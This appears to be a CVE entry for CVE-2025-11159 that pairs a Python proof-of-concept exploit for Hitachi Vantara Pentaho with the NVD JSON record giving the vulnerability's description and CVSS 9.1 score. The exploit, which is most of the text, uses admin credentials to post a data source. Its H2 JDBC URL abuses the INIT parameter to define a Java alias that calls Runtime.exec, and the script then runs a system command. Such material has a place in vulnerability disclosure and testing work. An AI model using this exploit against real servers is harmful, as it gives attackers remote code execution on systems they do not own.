CVE-2025-11159

# PoC for CVE-2025-11159: H2 JDBC RCE via Malicious Connection String # Target: Hitachi Vantara Pentaho Data Integration & Analytics # Requirement: Data Source Administrator privileges (PR:H) import requests import json target_url = "http://pentaho-target:8080/pentaho/api/repo/datasources/ maliciousDS" # Malicious JDBC URL using H2's INIT parameter to execute code # This creates a Java alias to execute system commands malicious_jdbc_url = "jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\"); return s.hasNext() ? s.next() : \"\"; }';CALL EXEC('whoami')" headers = { "Content-Type": "application/json" } # Payload representing a data source configuration update payload = { "name": "ExploitDS", "driverClass": "org.h2.Driver", "url": malicious_jdbc_url, "username": "sa", "password": "" } print("[*] Attempting to create malicious data source...") # The attacker must authenticate as a user with Data Source Admin rights response = requests.post(target_url, headers=headers, data=json.dumps(payload), auth=("admin", "password")) if response.status_code == 200 or response.status_code == 201: print("[+] Success: Data source created/updated.") print("[+] The H2 driver will execute the payload upon connection initialization.") else: print(f"[-] Failed: HTTP {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2025-11159", "sourceIdentifier": "[email protected]", "published": "2026-05-13T06:16:11.517", "lastModified": "2026-05-13T15:35:17.550", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hitachi Vantara Pentaho Data Integration & Analytics of all versions contain a JDBC driver for H2 databases which is vulnerable to external script execution when a new connection is created by a data source administrator."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "references": [{"url": "https://support.pentaho.com/hc/en-us/articles/39954640408077--Resolved-Hitachi-Vantara-Pentaho-Data-Integration-Analytics-Dependency-on-Vulnerable-Third-Party-Component-Versions-before-10-2-0-7-and-11-0-0-0-Impacted-CVE-2025-11159", "source": "[email protected]"}]}}